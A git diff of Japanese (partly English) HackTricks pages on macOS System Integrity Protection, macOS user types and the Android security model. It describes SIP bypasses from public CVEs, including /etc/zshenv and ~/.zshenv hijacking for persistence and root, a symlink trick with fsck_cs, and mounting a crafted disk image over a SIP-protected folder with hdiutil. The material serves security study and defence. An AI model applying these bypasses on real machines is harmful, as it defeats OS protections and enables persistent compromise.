この場合、**`sunlnk`** フラグは `/usr/libexec/cups` ディレクトリ自体が **削除できない** ことを示していますが、その中のファイルは作成、変更、または削除できます。
|
||||
|
||||
一方:
|
||||
一方:
|
||||
```bash
|
||||
ls -lOd /usr/libexec
|
||||
drwxr-xr-x 338 root wheel restricted 10816 May 13 00:29 /usr/libexec
|
||||
|
@ -67,12 +54,12 @@ drwxr-xr-x 338 root wheel restricted 10816 May 13 00:29 /usr/libexec
|
|||
|
||||
**SIP は他のルートアクションも制限します** 例えば:
|
||||
|
||||
* 信頼されていないカーネル拡張の読み込み
|
||||
* 信頼できないカーネル拡張の読み込み
|
||||
* Apple 署名プロセスのタスクポートの取得
|
||||
* NVRAM 変数の変更
|
||||
* カーネルデバッグの許可
|
||||
|
||||
オプションはビットフラグとして nvram 変数に保持されます(Intel では `csr-active-config`、ARM ではブートされたデバイステーブルから `lp-sip0` が読み取られます)。フラグは `csr.sh` の XNU ソースコードで見つけることができます:
|
||||
オプションはビットフラグとして nvram 変数に保持されます(Intel では `csr-active-config`、ARM ではブートされたデバイステーブルから `lp-sip0` が読み取られます)。フラグは `csr.sh` の XNU ソースコード内で見つけることができます:
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (1192).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
|
@ -90,35 +77,35 @@ SIPを有効のままにしてデバッグ保護を削除したい場合は、
|
|||
```bash
|
||||
csrutil enable --without debug
|
||||
```
|
||||
### その他の制限
|
||||
### Other Restrictions
|
||||
|
||||
* **署名されていないカーネル拡張の読み込みを禁止**(kexts)、検証された拡張のみがシステムカーネルと相互作用することを保証します。
|
||||
* **署名されていないカーネル拡張の読み込みを禁止** (kexts) し、検証された拡張のみがシステムカーネルと相互作用することを保証します。
|
||||
* **macOSシステムプロセスのデバッグを防止**し、コアシステムコンポーネントを不正アクセスや変更から保護します。
|
||||
* **dtraceのようなツールを抑制**し、システムの動作の完全性をさらに保護します。
|
||||
|
||||
[**このトークでSIP情報についてもっと学ぶ**](https://www.slideshare.net/i0n1c/syscan360-stefan-esser-os-x-el-capitan-sinking-the-ship)**.**
|
||||
|
||||
## SIPバイパス
|
||||
## SIP Bypasses
|
||||
|
||||
SIPをバイパスすることで攻撃者は:
|
||||
|
||||
* **ユーザーデータにアクセス**: すべてのユーザーアカウントからメール、メッセージ、Safariの履歴などの機密ユーザーデータを読み取ることができます。
|
||||
* **TCCバイパス**: TCC(Transparency, Consent, and Control)データベースを直接操作し、ウェブカメラ、マイク、その他のリソースへの不正アクセスを許可します。
|
||||
* **持続性を確立**: SIP保護された場所にマルウェアを配置し、ルート権限による削除に対して抵抗力を持たせます。これには、マルウェア除去ツール(MRT)を改ざんする可能性も含まれます。
|
||||
* **TCCバイパス**: TCC (Transparency, Consent, and Control) データベースを直接操作し、ウェブカメラ、マイク、その他のリソースへの不正アクセスを許可します。
|
||||
* **持続性を確立**: SIP保護された場所にマルウェアを配置し、ルート権限による削除に対して抵抗力を持たせます。これには、マルウェア除去ツール (MRT) を改ざんする可能性も含まれます。
|
||||
* **カーネル拡張を読み込む**: 追加の保護があるにもかかわらず、SIPをバイパスすることで署名されていないカーネル拡張の読み込みが簡素化されます。
|
||||
|
||||
### インストーラーパッケージ
|
||||
### Installer Packages
|
||||
|
||||
**Appleの証明書で署名されたインストーラーパッケージ**は、その保護をバイパスできます。これは、標準の開発者によって署名されたパッケージであっても、SIP保護されたディレクトリを変更しようとするとブロックされることを意味します。
|
||||
|
||||
### 存在しないSIPファイル
|
||||
### Inexistent SIP file
|
||||
|
||||
1つの潜在的な抜け穴は、**`rootless.conf`にファイルが指定されているが現在存在しない場合**、それを作成できることです。マルウェアはこれを利用して**システム上で持続性を確立**する可能性があります。たとえば、悪意のあるプログラムは、`rootless.conf`にリストされているが存在しない場合、`/System/Library/LaunchDaemons`に.plistファイルを作成することができます。
|
||||
1つの潜在的な抜け穴は、**`rootless.conf`に指定されたファイルが現在存在しない場合**、それを作成できることです。マルウェアはこれを利用して**システム上で持続性を確立**する可能性があります。たとえば、悪意のあるプログラムが`rootless.conf`にリストされているが存在しない場合、`/System/Library/LaunchDaemons`に.plistファイルを作成することができます。
|
||||
|
||||
### com.apple.rootless.install.heritable
|
||||
|
||||
{% hint style="danger" %}
|
||||
権限**`com.apple.rootless.install.heritable`**はSIPをバイパスすることを許可します
|
||||
権限 **`com.apple.rootless.install.heritable`** はSIPをバイパスすることを許可します
|
||||
{% endhint %}
|
||||
|
||||
#### [CVE-2019-8561](https://objective-see.org/blog/blog\_0x42.html) <a href="#cve" id="cve"></a>
|
||||
|
@ -135,15 +122,15 @@ SIPをバイパスすることで攻撃者は:
|
|||
|
||||
**`system_installd`**デーモンは**Apple**によって署名されたパッケージをインストールします。
|
||||
|
||||
研究者たちは、Apple署名のパッケージ(.pkgファイル)のインストール中に、**`system_installd`**がパッケージに含まれる**post-install**スクリプトを**実行**することを発見しました。これらのスクリプトはデフォルトのシェルである**`zsh`**によって実行され、存在する場合は非対話モードでも**`/etc/zshenv`**ファイルからコマンドを自動的に**実行**します。この動作は攻撃者によって悪用される可能性があります:悪意のある`/etc/zshenv`ファイルを作成し、**`system_installd`が`zsh`を呼び出すのを待つことで**、デバイス上で任意の操作を実行できます。
|
||||
研究者たちは、Apple署名のパッケージ(.pkgファイル)のインストール中に、**`system_installd`**がパッケージに含まれる**post-install**スクリプトを**実行**することを発見しました。これらのスクリプトはデフォルトのシェルである**`zsh`**によって実行され、存在する場合は非対話モードでも**`/etc/zshenv`**ファイルからコマンドを自動的に**実行**します。この動作は攻撃者によって悪用される可能性があります:悪意のある`/etc/zshenv`ファイルを作成し、**`system_installd`が`zsh`を呼び出すのを待つ**ことで、デバイス上で任意の操作を実行できます。
|
||||
|
||||
さらに、**`/etc/zshenv`は一般的な攻撃手法として使用できることが発見されました**。各ユーザープロファイルには`~/.zshenv`ファイルがあり、これは`/etc/zshenv`と同様に動作しますが、ルート権限は必要ありません。このファイルは持続性メカニズムとして使用され、`zsh`が起動するたびにトリガーされるか、特権昇格メカニズムとして使用される可能性があります。管理者ユーザーが`sudo -s`または`sudo <command>`を使用してルートに昇格すると、`~/.zshenv`ファイルがトリガーされ、実質的にルートに昇格します。
|
||||
|
||||
#### [**CVE-2022-22583**](https://perception-point.io/blog/technical-analysis-cve-2022-22583/)
|
||||
|
||||
[**CVE-2022-22583**](https://perception-point.io/blog/technical-analysis-cve-2022-22583/)では、同じ**`system_installd`**プロセスが悪用される可能性があることが発見されました。なぜなら、**post-installスクリプトをSIPによって保護されたランダムに名付けられたフォルダー内に配置していたからです**。問題は、**`/tmp`自体はSIPによって保護されていないため**、**仮想イメージをマウント**することが可能であり、その後**インストーラー**が**post-installスクリプト**をそこに配置し、**仮想イメージをアンマウント**し、すべての**フォルダーを再作成**し、**ペイロード**を実行する**post installation**スクリプトを追加することができたことです。
|
||||
[**CVE-2022-22583**](https://perception-point.io/blog/technical-analysis-cve-2022-22583/)では、同じ**`system_installd`**プロセスが悪用される可能性があることが発見されました。なぜなら、**post-installスクリプトをSIPによって保護されたランダムに名付けられたフォルダー内の`/tmp`に配置していたからです**。問題は、**`/tmp`自体はSIPによって保護されていないため**、**仮想イメージをマウント**し、その後**インストーラー**が**post-installスクリプト**をそこに配置し、**仮想イメージをアンマウント**し、すべての**フォルダーを再作成**し、**ペイロード**を実行する**post installation**スクリプトを追加することが可能だったことです。
|
||||
|
||||
#### [fsck\_csユーティリティ](https://www.theregister.com/2016/03/30/apple\_os\_x\_rootless/)
|
||||
#### [fsck\_cs utility](https://www.theregister.com/2016/03/30/apple\_os\_x\_rootless/)
|
||||
|
||||
**`fsck_cs`**が重要なファイルを破損させるように誤導される脆弱性が特定されました。これは、**シンボリックリンク**をたどる能力によるものでした。具体的には、攻撃者は`/dev/diskX`から`/System/Library/Extensions/AppleKextExcludeList.kext/Contents/Info.plist`へのリンクを作成しました。**`fsck_cs`**を`/dev/diskX`で実行すると、`Info.plist`が破損しました。このファイルの整合性は、カーネル拡張の読み込みを制御するオペレーティングシステムのSIP(システム整合性保護)にとって重要です。一度破損すると、SIPのカーネル除外を管理する能力が損なわれます。
|
||||
|
||||
|
@ -158,7 +145,7 @@ reboot
|
|||
|
||||
#### [SIP保護フォルダ上にマウント](https://www.slideshare.net/i0n1c/syscan360-stefan-esser-os-x-el-capitan-sinking-the-ship)
|
||||
|
||||
**保護を回避するためにSIP保護フォルダ上に新しいファイルシステムをマウントする**ことが可能でした。
|
||||
**保護を回避するためにSIP保護フォルダ上に新しいファイルシステムをマウントすることが可能でした。**
|
||||
```bash
|
||||
mkdir evil
|
||||
# Add contento to the folder
|
||||
|
@ -173,7 +160,7 @@ hdiutil attach -mountpoint /System/Library/Snadbox/ evil.dmg
|
|||
```
|
||||
このプロセスのセキュリティは、攻撃者がブート前にアップグレードイメージ(`InstallESD.dmg`)を変更すると危険にさらされる可能性があります。この戦略は、動的ローダー(dyld)を悪意のあるバージョン(`libBaseIA.dylib`)に置き換えることを含みます。この置き換えにより、インストーラーが開始されると攻撃者のコードが実行されます。
|
||||
|
||||
攻撃者のコードはアップグレードプロセス中に制御を取得し、インストーラーに対するシステムの信頼を悪用します。攻撃は、`InstallESD.dmg`イメージをメソッドスウィズリングを通じて変更することによって進行し、特に`extractBootBits`メソッドをターゲットにします。これにより、ディスクイメージが使用される前に悪意のあるコードを注入することが可能になります。
|
||||
攻撃者のコードはアップグレードプロセス中に制御を取得し、インストーラーに対するシステムの信頼を利用します。攻撃は、`InstallESD.dmg`イメージをメソッドスウィズリングを通じて変更することによって進行し、特に`extractBootBits`メソッドをターゲットにします。これにより、ディスクイメージが使用される前に悪意のあるコードを注入することが可能になります。
|
||||
|
||||
さらに、`InstallESD.dmg`内には、アップグレードコードのルートファイルシステムとして機能する`BaseSystem.dmg`があります。ここに動的ライブラリを注入することで、悪意のあるコードはOSレベルのファイルを変更できるプロセス内で動作することができ、システムの危険性が大幅に増加します。
|
||||
|
||||
|
@ -199,17 +186,17 @@ and it was possible to crate a symlink in `${SHARED_SUPPORT_PATH}/SharedSupport.
|
|||
|
||||
この特定のケースでは、`/System/Library/PrivateFrameworks/ShoveService.framework/Versions/A/XPCServices/SystemShoveService.xpc` にあるシステム XPC サービスがこの権限を持っています。これにより、関連するプロセスは SIP 制約を回避できます。さらに、このサービスは、セキュリティ対策を強制せずにファイルを移動することを許可する方法を提供します。
|
||||
|
||||
## シールされたシステムスナップショット
|
||||
## シールドされたシステムスナップショット
|
||||
|
||||
シールされたシステムスナップショットは、Apple が **macOS Big Sur (macOS 11)** で導入した機能で、**システム整合性保護 (SIP)** メカニズムの一部として、追加のセキュリティとシステムの安定性を提供します。これらは本質的にシステムボリュームの読み取り専用バージョンです。
|
||||
シールドされたシステムスナップショットは、Apple が **macOS Big Sur (macOS 11)** で導入した機能で、**システム整合性保護 (SIP)** メカニズムの一部として、追加のセキュリティとシステムの安定性を提供します。これらは本質的にシステムボリュームの読み取り専用バージョンです。
|
||||
|
||||
以下は、より詳細な説明です:
|
||||
以下は詳細です:
|
||||
|
||||
1. **不変のシステム**: シールされたシステムスナップショットは、macOS システムボリュームを「不変」にし、変更できないようにします。これにより、セキュリティやシステムの安定性を損なう可能性のある不正または偶発的な変更を防ぎます。
|
||||
1. **不変のシステム**: シールドされたシステムスナップショットは、macOS システムボリュームを「不変」にし、変更できないようにします。これにより、セキュリティやシステムの安定性を損なう可能性のある不正または偶発的な変更を防ぎます。
|
||||
2. **システムソフトウェアの更新**: macOS の更新やアップグレードをインストールすると、macOS は新しいシステムスナップショットを作成します。macOS の起動ボリュームは、その後 **APFS (Apple File System)** を使用してこの新しいスナップショットに切り替えます。更新を適用するプロセス全体が安全で信頼性が高くなり、更新中に何か問題が発生した場合でも、システムは常に前のスナップショットに戻ることができます。
|
||||
3. **データの分離**: macOS Catalina で導入されたデータとシステムボリュームの分離の概念と組み合わせて、シールされたシステムスナップショット機能は、すべてのデータと設定が別の「**データ**」ボリュームに保存されることを保証します。この分離により、データがシステムから独立し、システムの更新プロセスが簡素化され、システムのセキュリティが向上します。
|
||||
3. **データの分離**: macOS Catalina で導入されたデータとシステムボリュームの分離の概念と組み合わせて、シールドされたシステムスナップショット機能は、すべてのデータと設定が別の「**データ**」ボリュームに保存されることを保証します。この分離により、データはシステムから独立し、システムの更新プロセスが簡素化され、システムのセキュリティが向上します。
|
||||
|
||||
これらのスナップショットは macOS によって自動的に管理され、APFS のスペース共有機能のおかげでディスク上に追加のスペースを占有しません。また、これらのスナップショットは、ユーザーがアクセス可能なシステム全体のバックアップである **Time Machine スナップショット** とは異なることに注意することが重要です。
|
||||
これらのスナップショットは macOS によって自動的に管理され、APFS のスペース共有機能のおかげでディスク上に追加のスペースを占有しません。また、これらのスナップショットは、システム全体のユーザーアクセス可能なバックアップである **Time Machine スナップショット** とは異なることに注意することが重要です。
|
||||
|
||||
### スナップショットの確認
|
||||
|
||||
|
@ -252,11 +239,11 @@ and it was possible to crate a symlink in `${SHARED_SUPPORT_PATH}/SharedSupport.
|
|||
| FileVault: Yes (Unlocked)
|
||||
</code></pre>
|
||||
|
||||
前の出力では、**ユーザーがアクセス可能な場所** が `/System/Volumes/Data` にマウントされていることがわかります。
|
||||
前の出力では、**ユーザーアクセス可能な場所** が `/System/Volumes/Data` にマウントされていることがわかります。
|
||||
|
||||
さらに、**macOS システムボリュームスナップショット** は `/` にマウントされており、**シールされています**(OS によって暗号的に署名されています)。したがって、SIP がバイパスされて変更されると、**OS はもう起動しません**。
|
||||
さらに、**macOS システムボリュームスナップショット** は `/` にマウントされており、**シールドされています**(OS によって暗号的に署名されています)。したがって、SIP がバイパスされて変更されると、**OS はもう起動しません**。
|
||||
|
||||
また、シールが有効であることを確認することも可能です:
|
||||
また、シールが有効であることを確認することも可能です。
|
||||
```bash
|
||||
csrutil authenticated-root status
|
||||
Authenticated Root status: enabled
|
||||
|
@ -266,28 +253,17 @@ Authenticated Root status: enabled
|
|||
mount
|
||||
/dev/disk3s1s1 on / (apfs, sealed, local, read-only, journaled)
|
||||
```
|
||||
### [WhiteIntel](https://whiteintel.io)
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**WhiteIntel**](https://whiteintel.io) は、**ダークウェブ** に基づいた検索エンジンで、企業やその顧客が **スティーラーマルウェア** によって **侵害** されているかどうかを確認するための **無料** 機能を提供しています。
|
||||
|
||||
WhiteIntel の主な目標は、情報を盗むマルウェアによるアカウント乗っ取りやランサムウェア攻撃と戦うことです。
|
||||
|
||||
彼らのウェブサイトをチェックして、**無料** でエンジンを試すことができます:
|
||||
|
||||
{% embed url="https://whiteintel.io" %}
|
||||
{% hint style="success" %}
|
||||
AWS ハッキングを学び、練習する:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
GCP ハッキングを学び、練習する: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
AWSハッキングを学び、実践する:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
GCPハッキングを学び、実践する:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>HackTricksをサポートする</summary>
|
||||
|
||||
* [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください!
|
||||
* **参加する** 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f) または [**テレグラムグループ**](https://t.me/peass) に、または **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
|
||||
* **ハッキングのトリックを共有するために、** [**HackTricks**](https://github.com/carlospolop/hacktricks) と [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) の GitHub リポジトリに PR を送信してください。
|
||||
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
|
||||
* **ハッキングのトリックを共有するには、[**HackTricks**](https://github.com/carlospolop/hacktricks)および[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。**
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,71 +1,56 @@
|
|||
# macOS ユーザー
|
||||
# macOS Users
|
||||
|
||||
{% hint style="success" %}
|
||||
AWSハッキングの学習と練習:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
GCPハッキングの学習と練習: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>HackTricksをサポートする</summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
* [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)をチェック!
|
||||
* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)に参加するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォロー**してください。
|
||||
* **HackTricks**と**HackTricks Cloud**のGitHubリポジトリにPRを提出してハッキングトリックを共有してください。
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
### [WhiteIntel](https://whiteintel.io)
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
||||
### Common Users
|
||||
|
||||
[**WhiteIntel**](https://whiteintel.io)は、**ダークウェブ**を活用した検索エンジンで、企業やその顧客が**盗難マルウェア**によって**侵害**されていないかをチェックする**無料**の機能を提供しています。
|
||||
|
||||
WhiteIntelの主な目標は、情報窃取マルウェアによるアカウント乗っ取りやランサムウェア攻撃と戦うことです。
|
||||
|
||||
彼らのウェブサイトをチェックして、**無料**でエンジンを試すことができます:
|
||||
|
||||
{% embed url="https://whiteintel.io" %}
|
||||
|
||||
***
|
||||
|
||||
### 一般ユーザー
|
||||
|
||||
* **Daemon**: システムデーモン用に予約されたユーザー。デフォルトのデーモンアカウント名は通常"\_"で始まります:
|
||||
* **Daemon**: システムデーモン用に予約されたユーザー。デフォルトのデーモンアカウント名は通常「\_」で始まります:
|
||||
|
||||
```bash
|
||||
_amavisd, _analyticsd, _appinstalld, _appleevents, _applepay, _appowner, _appserver, _appstore, _ard, _assetcache, _astris, _atsserver, _avbdeviced, _calendar, _captiveagent, _ces, _clamav, _cmiodalassistants, _coreaudiod, _coremediaiod, _coreml, _ctkd, _cvmsroot, _cvs, _cyrus, _datadetectors, _demod, _devdocs, _devicemgr, _diskimagesiod, _displaypolicyd, _distnote, _dovecot, _dovenull, _dpaudio, _driverkit, _eppc, _findmydevice, _fpsd, _ftp, _fud, _gamecontrollerd, _geod, _hidd, _iconservices, _installassistant, _installcoordinationd, _installer, _jabber, _kadmin_admin, _kadmin_changepw, _knowledgegraphd, _krb_anonymous, _krb_changepw, _krb_kadmin, _krb_kerberos, _krb_krbtgt, _krbfast, _krbtgt, _launchservicesd, _lda, _locationd, _logd, _lp, _mailman, _mbsetupuser, _mcxalr, _mdnsresponder, _mobileasset, _mysql, _nearbyd, _netbios, _netstatistics, _networkd, _nsurlsessiond, _nsurlstoraged, _oahd, _ondemand, _postfix, _postgres, _qtss, _reportmemoryexception, _rmd, _sandbox, _screensaver, _scsd, _securityagent, _softwareupdate, _spotlight, _sshd, _svn, _taskgated, _teamsserver, _timed, _timezone, _tokend, _trustd, _trustevaluationagent, _unknown, _update_sharing, _usbmuxd, _uucp, _warmd, _webauthserver, _windowserver, _www, _wwwproxy, _xserverdocs
|
||||
```
|
||||
* **Guest**: 非常に厳しい権限を持つゲスト用アカウント
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
state=("automaticTime" "afpGuestAccess" "filesystem" "guestAccount" "smbGuestAccess")
|
||||
for i in "${state[@]}"; do sysadminctl -"${i}" status; done;
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
* **Nobody**: 最小限の権限が必要な場合にこのユーザーでプロセスが実行されます
|
||||
* **Root**
|
||||
* **誰も**: 最小限の権限が必要なときにこのユーザーでプロセスが実行されます
|
||||
* **ルート**
|
||||
|
||||
### ユーザー権限
|
||||
|
||||
* **Standard User:** 最も基本的なユーザーです。このユーザーはソフトウェアをインストールしたり他の高度なタスクを実行しようとする際に管理者ユーザーから権限を付与される必要があります。自分自身ではそれを行うことはできません。
|
||||
* **Admin User**: 通常は標準ユーザーとして操作するユーザーですが、ソフトウェアのインストールやその他の管理タスクなどの root 操作を実行することも許可されています。管理者グループに属するすべてのユーザーは **sudoers ファイルを介して root へのアクセス** を与えられます。
|
||||
* **Root**: Root はほとんどのアクションを実行できるユーザーです(システムインテグリティ保護などによる制限があります)。
|
||||
* たとえば root は `/System` 内にファイルを配置することはできません
|
||||
* **標準ユーザー:** 最も基本的なユーザー。このユーザーは、ソフトウェアをインストールしたり、他の高度なタスクを実行しようとする際に、管理者ユーザーからの権限が必要です。自分自身ではそれを行うことができません。
|
||||
* **管理者ユーザー**: 大部分の時間を標準ユーザーとして操作しますが、ソフトウェアのインストールやその他の管理タスクなどのルートアクションを実行することも許可されています。管理者グループに属するすべてのユーザーは**sudoersファイルを介してルートにアクセスが与えられます**。
|
||||
* **ルート**: ルートはほぼすべてのアクションを実行することが許可されているユーザーです(System Integrity Protectionのような保護によって制限があります)。
|
||||
* 例えば、ルートは`/System`内にファイルを置くことはできません。
|
||||
|
||||
{% hint style="success" %}
|
||||
AWS ハッキングの学習と実践:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
GCP ハッキングの学習と実践: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>HackTricks のサポート</summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
* [**購読プラン**](https://github.com/sponsors/carlospolop)をチェック!
|
||||
* 💬 [**Discord グループ**](https://discord.gg/hRep4RUj7f) に参加するか、[**telegram グループ**](https://t.me/peass) に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** をフォローしてください。**
|
||||
* ハッキングトリックを共有するために [**HackTricks**](https://github.com/carlospolop/hacktricks) と [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) の github リポジトリに PR を提出してください。
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -15,20 +15,12 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
***
|
||||
|
||||
## Android Security Model
|
||||
|
||||
**二つのレイヤーがあります:**
|
||||
|
||||
* **OS**は、インストールされたアプリケーションを互いに隔離します。
|
||||
* **アプリケーション自体**は、開発者が**特定の機能を公開**し、アプリケーションの機能を構成することを可能にします。
|
||||
* **アプリケーション自体**は、開発者が**特定の機能を公開**し、アプリケーションの機能を設定することを可能にします。
|
||||
|
||||
### UID Separation
|
||||
|
||||
|
@ -36,8 +28,8 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
|||
|
||||
### UID Sharing
|
||||
|
||||
**二つのアプリケーションは同じUIDを使用するように構成できます**。これは情報を共有するのに便利ですが、一方が侵害されると両方のアプリケーションのデータが侵害されることになります。これがこの動作が**推奨されない理由です**。\
|
||||
**同じUIDを共有するには、アプリケーションはマニフェストで同じ`android:sharedUserId`値を定義する必要があります。**
|
||||
**二つのアプリケーションは同じUIDを使用するように設定できます**。これは情報を共有するのに便利ですが、一方が侵害されると両方のアプリケーションのデータが侵害されることになります。これがこの動作が**推奨されない理由です**。\
|
||||
**同じUIDを共有するには、アプリケーションはマニフェスト内で同じ`android:sharedUserId`値を定義する必要があります。**
|
||||
|
||||
### Sandboxing
|
||||
|
||||
|
@ -46,23 +38,23 @@ Android 5.0(L)以降は**SELinux**が強制されます。基本的に、SELinux
|
|||
|
||||
### Permissions
|
||||
|
||||
アプリをインストールするときに**権限を要求される**場合、アプリは**AndroidManifest.xml**ファイルの**`uses-permission`**要素に設定された権限を要求しています。**uses-permission**要素は、**name**属性内で要求された権限の名前を示します。また、**maxSdkVersion**属性もあり、指定されたバージョンよりも高いバージョンでは権限の要求を停止します。\
|
||||
Androidアプリケーションは最初にすべての権限を要求する必要はなく、**動的に権限を要求することもできますが、すべての権限は**マニフェストで**宣言されなければなりません。**
|
||||
アプリをインストールするときに**権限を要求される**と、アプリは**AndroidManifest.xml**ファイル内の**`uses-permission`**要素に設定された権限を要求しています。**uses-permission**要素は、**name**属性内で要求された権限の名前を示します。また、**maxSdkVersion**属性もあり、指定されたバージョンよりも高いバージョンでは権限の要求を停止します。\
|
||||
Androidアプリケーションは最初にすべての権限を要求する必要はなく、**動的に権限を要求することもできます**が、すべての権限は**マニフェストに宣言されている必要があります**。
|
||||
|
||||
アプリが機能を公開する場合、**特定の権限を持つアプリのみがアクセスできるように制限することができます**。\
|
||||
アプリが機能を公開する際には、**特定の権限を持つアプリのみがアクセスできるように制限することができます**。\
|
||||
権限要素には三つの属性があります:
|
||||
|
||||
* 権限の**名前**
|
||||
* 関連する権限をグループ化するための**permission-group**属性。
|
||||
* 権限がどのように付与されるかを示す**protection-level**。四つのタイプがあります:
|
||||
* **Normal**: アプリに**知られている脅威がない**場合に使用されます。ユーザーは**承認する必要はありません**。
|
||||
* **Normal**: アプリに**既知の脅威がない**場合に使用されます。ユーザーは**承認する必要はありません**。
|
||||
* **Dangerous**: この権限が要求アプリケーションに**昇格したアクセス**を付与することを示します。**ユーザーに承認を求められます**。
|
||||
* **Signature**: **コンポーネントをエクスポートするものと同じ証明書で署名されたアプリ**のみが権限を付与されることができます。これは最も強力な保護タイプです。
|
||||
* **SignatureOrSystem**: **コンポーネントをエクスポートするものと同じ証明書で署名されたアプリ**または**システムレベルのアクセスで実行されているアプリ**のみが権限を付与されることができます。
|
||||
* **Signature**: **コンポーネントをエクスポートするものと同じ証明書で署名されたアプリ**のみが権限を付与されます。これは最も強力な保護タイプです。
|
||||
* **SignatureOrSystem**: **コンポーネントをエクスポートするものと同じ証明書で署名されたアプリ**または**システムレベルのアクセスで実行されているアプリ**のみが権限を付与されます。
|
||||
|
||||
## Pre-Installed Applications
|
||||
|
||||
